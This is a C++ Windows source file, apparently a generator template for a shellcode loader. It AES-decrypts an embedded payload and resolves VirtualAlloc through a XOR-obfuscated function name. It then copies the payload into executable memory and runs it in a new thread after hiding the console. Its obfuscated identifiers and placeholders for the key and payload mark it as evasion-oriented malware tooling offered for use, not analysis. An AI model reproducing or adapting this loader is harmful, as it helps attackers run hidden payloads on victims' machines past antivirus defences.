template.cpp 2.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <wincrypt.h>
  6. #pragma comment (lib, "crypt32.lib")
  7. #pragma comment (lib, "advapi32")
  8. #include <psapi.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. LPVOID (WINAPI * Virt_Alloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  12. char XOR_VARIABLE []= "XOR_KEY";
  13. unsigned char Random9 []= VIRALO};
  14. int Random1(char * different, unsigned int different_len, char * key, size_t keylen) {
  15. HCRYPTPROV hProv;
  16. HCRYPTHASH hHash;
  17. HCRYPTKEY hKey;
  18. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  19. return -1;
  20. }
  21. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  22. return -1;
  23. }
  24. if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
  25. return -1;
  26. }
  27. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  28. return -1;
  29. }
  30. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, different, &different_len)){
  31. return -1;
  32. }
  33. CryptReleaseContext(hProv, 0);
  34. CryptDestroyHash(hHash);
  35. CryptDestroyKey(hKey);
  36. return 0;
  37. }
  38. void RandomA(char * tada, int tada_len, char * XOR_VARIABLE, size_t XOR_VARIABLE_len) {
  39. int r;
  40. r = 0;
  41. for (int i = 0; i < tada_len; i++) {
  42. if (r == XOR_VARIABLE_len - 1) r = 0;
  43. tada[i] = tada[i] ^ XOR_VARIABLE[r];
  44. r++;
  45. }
  46. }
  47. int main(void) {
  48. void * Random6_mem;
  49. BOOL Random8;
  50. HANDLE th;
  51. DWORD oldprotect = 0;
  52. char Random2[] = KEYVALUE
  53. unsigned char Random3[] = PAYVAL
  54. unsigned int Random7_len = sizeof(Random3);
  55. int pido = 0;
  56. HANDLE hProc = NULL;
  57. strrev(Random3);
  58. FreeConsole();
  59. strrev(Random3);
  60. RandomA((char *) Random9, sizeof (Random9), XOR_VARIABLE, sizeof(XOR_VARIABLE));
  61. Virt_Alloc= GetProcAddress(GetModuleHandle("kernel32.dll"), Random9);
  62. Random6_mem = Virt_Alloc(0, Random7_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  63. Random1((char *) Random3, Random7_len, Random2, sizeof(Random2));
  64. RtlMoveMemory(Random6_mem, Random3, Random7_len);
  65. Random8 = VirtualProtect(Random6_mem, Random7_len, PAGE_EXECUTE_READWRITE, &oldprotect);
  66. if ( Random8 != 0 ) {
  67. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Random6_mem, 0, 0, 0);
  68. WaitForSingleObject(th, -1);
  69. }
  70. return 0;
  71. }